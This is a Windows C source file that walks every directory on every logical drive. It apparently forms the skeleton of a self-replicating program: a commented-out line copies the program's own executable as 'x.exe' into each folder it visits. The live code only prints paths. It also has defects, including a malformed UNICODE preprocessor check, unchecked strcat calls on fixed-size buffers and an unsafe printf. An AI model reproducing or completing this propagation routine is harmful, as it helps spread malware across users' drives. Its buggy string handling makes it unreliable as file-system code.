recursiveCopy.c

#include <windows.h>

#if define UNICODE
	#define FindFirstFile FindFirstFileW
	#define FindNextFile FindNextFileW
	#define SetCurrentDirectory SetCurrentDirectoryW
	#define GetCurrentDirectory GetCurrentDirectoryW
	#define CopyFile CopyFileW
#else
	#define FindFirstFile FindFirstFileA
	#define FindNextFile FindNextFileA
	#define SetCurrentDirectory SetCurrentDirectoryA
	#define GetCurrentDirectory GetCurrentDirectoryA
	#define CopyFile CopyFileA
#endif

BOOL recursiveCopy(LPTSTR source, char destination[MAX_PATH])
{
	strcat(destination, "\\");
	if (SetCurrentDirectory(destination))
	{
		CHAR pwdBuffer[MAX_PATH];
		DWORD x = GetCurrentDirectory(MAX_PATH, pwdBuffer);
		strcat(pwdBuffer, "\\");
		/*if (strcmp(destination, pwdBuffer) != 0)
			return FALSE;*/
		//printf(pwdBuffer);
		char temp_des[MAX_PATH];

		//strncpy(temp_des, destination, MAX_PATH);
		//CopyFile(source, strcat(temp_des, "\\x.exe"), FALSE);
		printf(destination);
		printf("\n");

		HANDLE hFind;
		WIN32_FIND_DATA FindData;
		// Find the first file
		strncpy(temp_des, destination, MAX_PATH);
		hFind = FindFirstFile(strcat(temp_des, "*"), &FindData);
		if (hFind == INVALID_HANDLE_VALUE) 
			return FALSE;
		if (strcmp(FindData.cFileName, ".") != 0 && strcmp(FindData.cFileName, "..") != 0)
		{
			strncpy(temp_des, destination, MAX_PATH);
			strcat(temp_des, FindData.cFileName);
			recursiveCopy(source, temp_des);
		}
		// Look for more
		while (FindNextFile(hFind, &FindData))
		{
			if (strcmp(FindData.cFileName, ".") != 0 && strcmp(FindData.cFileName, "..") != 0)
			{
				strncpy(temp_des, destination, MAX_PATH);
				strcat(temp_des, FindData.cFileName);
				recursiveCopy(source, temp_des);
			}
		}		
		// Close the file handle
		FindClose(hFind);
		return TRUE;
	}
	return FALSE;
}

int main(int argc, LPTSTR argv[])
{
	LPTSTR source = argv[0];

	DWORD dwSize = MAX_PATH;
	char szLogicalDrives[MAX_PATH] = { 0 };
	DWORD dwResult = GetLogicalDriveStringsA(dwSize, szLogicalDrives);

	if (dwResult > 0 && dwResult <= MAX_PATH)
	{
		char* szSingleDrive = szLogicalDrives;
		while (*szSingleDrive)
		{
			char destination[MAX_PATH];
			strcpy(destination,szSingleDrive);
			recursiveCopy(source, destination);
			// get the next drive
			szSingleDrive += strlen(szSingleDrive) + 1;
		}
	}
}